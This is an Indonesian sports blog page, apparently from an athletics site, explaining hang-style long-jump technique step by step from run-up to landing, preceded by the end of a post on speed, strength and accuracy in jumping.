  • Kecepatan, kecepatan sangat mempengaruhi seberapa jauh lompatan anda, termasuk kecepatan berlari disaat melakukan awalan dimana semakin cepat anda berlari semakin besar pula kemungkinan lompatan anda semakin jauh. Dan juga kecepatan saat mengambil keputusan ketika melakukan tolakan, karena ketika kaki sudah menyentuh balok tumpuan, anda bisa langsung menguatkan kaki untuk melakukan tolakan.
  • Kekuatan, Kekuatan sangat diperlukan ketika malakukan tolakan, setelah anda belari, anda harus bisa memusatkan energi pada satu kaki untuk melakukan tolakan. Karena kekuatan dalam melakukan tumpuan sangat berpengaruh pada jarak yang dihasilkan dari lompatan.
  • Ketepatan, Ketepatan juga sangat dibutuhkan ketika mengambil keputusan, dimana keputusan tersebut hanya diambil sepersekian detik. Ketepatan bisa berlaku pada saat melakukan tolakan, prediksi kaki yang akan menolak dan ketepatan saat melakukan pendaratan.

Untuk menghasilkan jarak yang maksimal, lakukan latihan untuk mengasah, kecepatan, kekuatan, dan ketepatan anda.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Atletik

4 Teknik Lompat Jauh Gaya Menggantung Mulai dari Awalan Sampai Mendarat

by Rita Nora
written by Rita Nora

Tujuan teknik lompat jauh gaya menggantung yang baik yaitu melakukan lompatan sejauh mungkin dengan teknik dan prosedur tertentu yang teleh ditetapkan. Lompat Jauh Gaya menggantung merupakan salah satu teknik dalam cabang olahraga atletik nomor Lompat seperti teknik nomor lompat lain yang banyak dilombakan. Untuk mempelajarinya tentu terdapat berbagai teknik yang harus dikuasai seperti teknik gaya lompat tinggi dan  teknik lompat katak.

Pada dasarnya, setiap lompat jauh sama saja. Namun, perbedaannya terletak pada teknik dan sikap saat pelompat melayang di udara, sehingga gaya menggantung juga sering disebut gaya melenting. Berikut adalah uraian keterampilan teknik lompat jauh gaya menggantung yang baik yang harus Anda kuasai.

Awalan

Awalan pada lompat jauh gaya menggantung harus dilakukan dengan lari cepat dari jarak 35 hingga 45 meter. Jarak ini bukanlah jarak mutlak atau tetap, melainkan disesuaikan pula dengan kemampuan kecepatan maksimal tiap pelompat yang hendak melakukan lompatan.

  • Ambil sebuah ancang-ancang yang tidak terlau jauh.
  • Larilah sekuat tenaga dan secepatnya, semaksimal mungkin.
  • Saat posisi sudah di dekat garia start, jangan kurangi kecepatan kaki dan lakukan lompatan!

Tolakan

Tolakan merupakan teknik dalam olahraga ini untuk mendapatkan lompatab yang tinggi dan jauh. Teknik ini harus dilakukan dengan salah satu kaki yang terkuat. Lakukan sebuah lompatan yang kuat dan dinamis dari papan tolakan atau balok tumpu yang telah disediakan. Ayunkan kaki dan tangan secara harmonis guna menjaga keseimbangan badan.

  • Gunakan salah satu kaki terkuat sebagai tumpuan dalam melakukan tolakan ini.
  • Tumpuan kaki pada papan tumpu yaitu berawal dari tumit, lalu telapak kaik dan dilanjutkan dengan menumpu pada ujung telapak kaki, lakukan semuanya dalam bertahap.
  • Gerakkan kaki bagian belakang dengan mengayunkannya ke depan atas, lalu diiringi dengan gerakan kedua tangan secara harmonis dan seimbang.

Posisi Melayang di Udara

Pada posisi ini, perbedaan setiap gaya dalam nomor lompat jauh dapat terlihat. Selain itu, gaya yang digunakan juga dapat mempengaruhi hasil lompatan yang maksimal. Gaya menggantung merupakan gaya yang paling sering digunakan dalam berbagai perlombaan lompat, baik perlombaan nasional maupun lomba internasional. Dalam teknik ini, badan harus diusahakan melayang dalam waktu selama mungkin di udara dalam keadaan seimbang. sehingga konsentrasi dan ketahanan juga sangat dibutuhkan. Lakukan latihan-latihan yang intensif untuk memaksimalkan gerakan melayang ini.

  • Posisikan kedua tangan berada di samping telinga dalam keadaan lurus ke atas
  • Rapatkan kaki kemudian ayunkan dari belakang ke arah depan
  • Dada agak sedikit dibusungkan ketika melakukan gerakan ke belakang saat awal tolakan ini
  • Ayunkan lutut ke arah depan saat posisi tolakan ini dengan tengaga penuh dan maksimal

Pendaratan

Saat mendarat, pelompat harus melakukan teknik pendaratan yang baik dan benar, agar tidak merugikan pelompat sendiri. Pendaratan yang baik yaitu dengan menjatuhkan kedua kaki secara bersamaan dan kedua tangan diposisikan ke arah depan. Jangan sampau badan atau tangan jatuh ke belakang. Lakukan pendaratan dengan kedua kaki, jangan sampai terpisah atau salah satu kaki didaratkab mendahului kaki yang lain.

  • Posisi lutut kaki diluruskan ke depan dan bagian lengan agak sedikit ditekuk
  • Posisi kaki harus berada di depan saat pendaratan
  • Kedua tumit menjadi tumpuan awal saat pendaratan
  • Jika kedua kaki sudah mendarat, posisi badan dilemaskan (mengeper) dan sedikit membungkuk

Demikian langkah-langkah yang harus diperhatikan dalam melakukan salah satu lompat jauh dengan gaya atau teknik menggantung di udara. Dibutuhkan latihan yang rutin bagi setiap pelompat agar dapat menghasilkan lompatan yang jauh dan maksimal pada perlombaan yang diadakan. Belum lagi, kini ada peraturan lompat jauh yang juga harus dipelajari. Oleh karena itu lakukan latihan pernapasan, latihan kekuatan kaki dan latihan-latihan lain untuk mempertahankan kekuatan kaki dan konsentrasi secara rutin.

0 comment
FacebookTwitterPinterestLinkedinWhatsappTelegramLINEEmail
Newer Posts
Older Posts